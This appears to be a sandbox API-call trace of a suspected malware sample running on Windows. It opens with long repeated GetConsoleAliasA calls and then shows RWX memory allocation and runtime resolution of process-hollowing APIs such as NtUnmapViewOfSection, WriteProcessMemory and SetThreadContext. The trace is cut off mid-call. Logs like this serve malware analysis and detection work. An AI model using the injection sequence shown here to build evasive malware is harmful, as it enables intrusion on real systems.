ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.493] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.493] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.493] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.493] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.493] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.493] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.493] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.493] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.493] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.493] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.493] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.493] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.493] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.493] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.493] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.494] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.494] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.494] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.494] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.494] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.494] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.494] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.494] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.494] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.494] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.494] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.494] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.494] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.494] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.494] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.494] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.494] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.494] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.494] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.494] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.495] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.495] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.495] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.495] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.495] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.495] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.495] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.495] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.495] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.495] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.495] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.495] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.495] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.495] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.495] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.495] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.495] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.495] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.495] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.495] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.495] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.495] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.495] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.495] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.496] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.496] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.496] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.496] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.496] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.496] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.496] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.496] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.496] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.496] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.496] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.496] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.496] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.496] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.496] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.496] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.496] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.496] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.496] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.496] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.496] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.496] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.496] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.496] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.497] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.497] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.497] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.497] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.497] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.497] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.497] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.497] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.497] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.497] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.497] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.497] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.497] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.497] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.497] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.497] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.497] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.497] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.497] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.497] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.497] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.498] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.498] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.498] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.498] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.498] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.498] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.498] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.498] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.498] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.498] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.498] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.498] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.498] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.498] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.498] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.498] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.498] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.498] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.498] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.499] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.499] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.499] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.499] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.499] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.499] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.499] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.499] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.499] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.499] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.499] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.499] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.499] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.499] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.499] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.499] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.499] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.499] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.499] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.499] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.500] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.500] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.500] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0081.097] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74f30000 [0081.098] VirtualAlloc (lpAddress=0x0, dwSize=0x8060, flAllocationType=0x1000, flProtect=0x40) returned 0x2c50000 [0081.113] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x74f30000 [0081.113] GetProcAddress (hModule=0x74f30000, lpProcName="GlobalAlloc") returned 0x74f49950 [0081.113] GetProcAddress (hModule=0x74f30000, lpProcName="GetLastError") returned 0x74f43870 [0081.113] GetProcAddress (hModule=0x74f30000, lpProcName="Sleep") returned 0x74f47990 [0081.113] GetProcAddress (hModule=0x74f30000, lpProcName="VirtualAlloc") returned 0x74f47810 [0081.113] GetProcAddress (hModule=0x74f30000, lpProcName="CreateToolhelp32Snapshot") returned 0x74f57b50 [0081.114] GetProcAddress (hModule=0x74f30000, lpProcName="Module32First") returned 0x74f744b0 [0081.114] GetProcAddress (hModule=0x74f30000, lpProcName="CloseHandle") returned 0x74f56630 [0081.114] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0xb4 [0081.120] Module32First (hSnapshot=0xb4, lpme=0x19f394) returned 1 [0081.120] VirtualAlloc (lpAddress=0x0, dwSize=0x89a0, flAllocationType=0x1000, flProtect=0x40) returned 0x2c60000 [0081.122] LoadLibraryA (lpLibFileName="user32") returned 0x750d0000 [0081.123] GetProcAddress (hModule=0x750d0000, lpProcName="MessageBoxA") returned 0x7514fec0 [0081.123] GetProcAddress (hModule=0x750d0000, lpProcName="GetMessageExtraInfo") returned 0x75103690 [0081.123] LoadLibraryA (lpLibFileName="kernel32") returned 0x74f30000 [0081.123] GetProcAddress (hModule=0x74f30000, lpProcName="WinExec") returned 0x74f6ff70 [0081.123] GetProcAddress (hModule=0x74f30000, lpProcName="CreateFileA") returned 0x74f56880 [0081.123] GetProcAddress (hModule=0x74f30000, lpProcName="WriteFile") returned 0x74f56ca0 [0081.123] GetProcAddress (hModule=0x74f30000, lpProcName="CloseHandle") returned 0x74f56630 [0081.123] GetProcAddress (hModule=0x74f30000, lpProcName="CreateProcessA") returned 0x74f70750 [0081.123] GetProcAddress (hModule=0x74f30000, lpProcName="GetThreadContext") returned 0x74f4ec60 [0081.123] GetProcAddress (hModule=0x74f30000, lpProcName="VirtualAlloc") returned 0x74f47810 [0081.123] GetProcAddress (hModule=0x74f30000, lpProcName="VirtualAllocEx") returned 0x74f72730 [0081.124] GetProcAddress (hModule=0x74f30000, lpProcName="VirtualFree") returned 0x74f47600 [0081.124] GetProcAddress (hModule=0x74f30000, lpProcName="ReadProcessMemory") returned 0x74f71c80 [0081.124] GetProcAddress (hModule=0x74f30000, lpProcName="WriteProcessMemory") returned 0x74f72850 [0081.124] GetProcAddress (hModule=0x74f30000, lpProcName="SetThreadContext") returned 0x74f72490 [0081.124] GetProcAddress (hModule=0x74f30000, lpProcName="ResumeThread") returned 0x74f4a800 [0081.124] GetProcAddress (hModule=0x74f30000, lpProcName="WaitForSingleObject") returned 0x74f56820 [0081.124] GetProcAddress (hModule=0x74f30000, lpProcName="GetModuleFileNameA") returned 0x74f4a720 [0081.124] GetProcAddress (hModule=0x74f30000, lpProcName="GetCommandLineA") returned 0x74f4ab60 [0081.124] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77b90000 [0081.124] GetProcAddress (hModule=0x77b90000, lpProcName="NtUnmapViewOfSection") returned 0x77c06f40 [0081.125] GetProcAddress (hModule=0x77b90000, lpProcName="NtWriteVirtualMemory") returned 0x77c07040 [0081.125] GetProcAddress (hModule=0x750d0000, lpProcName="RegisterClassExA") returned 0x75104e90 [0081.125] GetProcAddress (hModule=0x750d0000, lpProcName="CreateWindowExA") returned 0x75106f30 [0081.125] GetProcAddress (hModule=0x750d0000, lpProcName="PostMessageA") returned 0x750ff0e0 [0081.125] GetProcAddress (hModule=0x750d0000, lpProcName="GetMessageA") returned 0x750fe130 [0081.125] GetProcAddress (hModule=0x750d0000, lpProcName="DefWindowProcA") returned 0x77c1aed0 [0081.125] GetProcAddress (hModule=0x74f30000, lpProcName="GetFileAttributesA") returned 0x74f56a20 [0081.125] GetProcAddress (hModule=0x74f30000, lpProcName="GetStartupInfoA") returned 0x74f49c10 [0081.125] GetProcAddress (hModule=0x74f30000, lpProcName="VirtualProtectEx") returned 0x74f72790 [0081.126] GetProcAddress (hModule=0x74f30000, lpProcName="ExitProcess") returned 0x74f57b30 [0081.126] GetFileAttributesA (lpFileName="apfHQ" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\apfhq")) returned 0xffffffff [0081.127] GetFileAttributesA (lpFileName="apfHQ" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\apfhq")) returned 0xffffffff [0081.127] GetFileAttributesA (lpFileName="apfHQ" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\apfhq")) returned 0xffffffff [0081.127] RegisterClassExA (param_1=0x19f050) returned 0xc1dd [0081.128] CreateWindowExA (dwExStyle=0x200, lpClassName="saodkfnosa9uin", lpWindowName="mfoaskdfnoa", dwStyle=0xcf0000, X=-2147483648, Y=-2147483648, nWidth=1000, nHeight=1000, hWndParent=0x0, hMenu=0x0, hInstance=0x0, lpParam=0x0) returned 0x40350 [0086.772] PostMessageA (hWnd=0x40350, Msg=0x400, wParam=0x64, lParam=0x1f4) returned 1 [0086.772] GetMessageA (in: lpMsg=0x19f080, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19f080) returned 1 [0086.773] GetMessageA (in: lpMsg=0x19f080, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19f080) returned 1 [0086.773] VirtualAlloc (lpAddress=0x0, dwSize=0x2800, flAllocationType=0x1000, flProtect=0x4) returned 0x2c80000 [0086.773] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x2c80000, nSize=0x2800 | out: 